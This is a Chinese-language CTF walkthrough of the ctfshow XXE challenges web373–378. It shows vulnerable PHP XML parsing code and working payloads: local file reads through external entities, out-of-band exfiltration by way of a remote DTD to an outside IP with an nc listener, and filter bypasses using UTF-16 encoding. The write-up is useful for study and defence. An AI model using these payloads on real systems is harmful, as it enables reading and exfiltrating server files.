XXE
有关XXE的讲解可以看我的上一篇文章
web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
代码解释如下:
<?php
// 关闭所有错误输出,避免泄露敏感信息
error_reporting(0);
// 重新启用 libxml 外部实体加载(默认新版 PHP 中此功能被禁用)
// 为了演示 XXE 漏洞,这里设置为 false;生产环境中务必设为 true 或移除相关标志
libxml_disable_entity_loader(false);
// 从输入流读取客户端原始 POST 数据(通常为 XML 内容)
$xmlfile = file_get_contents('php://input');
if (isset($xmlfile)) {
// 创建一个新的 DOMDocument 实例,用于解析 XML
$dom = new DOMDocument();
// 加载 XML,并启用以下两个选项:
// LIBXML_NOENT —— 展开实体引用(包括外部实体)
// LIBXML_DTDLOAD —— 允许加载并处理外部 DTD
// 这两项组合正是 XXE 漏洞的典型条件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 将解析后的 DOMDocument 转换为 SimpleXML 对象,方便通过属性访问节点
$creds = simplexml_import_dom($dom);
// 读取根元素下 <ctfshow> 节点的文本内容
$ctfshow = $creds->ctfshow;
// 将 <ctfshow> 中的内容输出到响应体
echo $ctfshow;
}
最经典的XXE,没做任何过滤,可以直接读任意文件。
有个疑问,为啥都默认知道flag就在flag文件里?我只能当一个个试出来的了
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///flag">
]>
<root>
<name>&file;</name>
</root>
通过BP发包

用hackbar也可以

web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这一关很明显是没有回显的。这个时候就要采用外带OOB的方式获得回显数据。
首先我们在自己的VPS上创建一个文件test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.188.166:9999?p=%file;'>">
然后payload是:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>
同时在VPS上要监听9999端口(注意如果发现一直不成功nc监听没有响应的话,可以去看看服务器安全组有没有放行9999。别随便选了一个端口监听最后发现没放行,我就是这样找半天错误)
nc -lvp 9999
然后便可以用bp发送payload了

这个时候去看nc监听日志

可以发现base64编码后的回显被外带出来了。拿去解码

成功获得flag
web375
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
发现过滤了<\?xml version="1.0",但是我们上一关根本就没加这个。所以跟web378同样的做法即可。
要绕过也很好绕过,在xml与version直接加个空格都可以。
直接用上一关的方式

解码:ctfshow{ca4eb302-965e-40ef-a319-30584ac48afa}
web376
依旧与上一题相同解法
ctfshow{4deae9cc-2a83-4fe1-9318-88c4dfcf4d83}
web377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
可以看到这一次过滤了http,那么前面的payload就要做变化了。
其实也很好绕过,编码绕过即可如UTF-16,UTF-16BE等
依旧是采用外带的方式,只不过payload通过如下脚本发送:
import requests
url = "http://0e568b40-7105-4e9f-81f1-18ea4c89cb25.challenge.ctf.show/"
payload = """
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>
"""
head = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post(url=url,data=payload.encode("utf-16"),headers=head)
print(r.text)
直接运行即可

然后去看nc监听日志

解码就是flag
web378
打开后题目如下

是一个登录框,猜测是基于xml的登录框,随便输点数据抓包看看。

发现确实是通过xml数据登录的。
那我们尝试以下payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>
其实就是web373的payload,将file实体引用放在了

直接拿到了flag。
也可以看看源码代码:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
很明显代码将用户输入的username和password直接拼接进 XML 字符串,没有对用户输入进行任何 XML 特殊字符过滤或转义处理,也没有禁用外部实体。所以导致了XXE漏洞。
XXE章节结束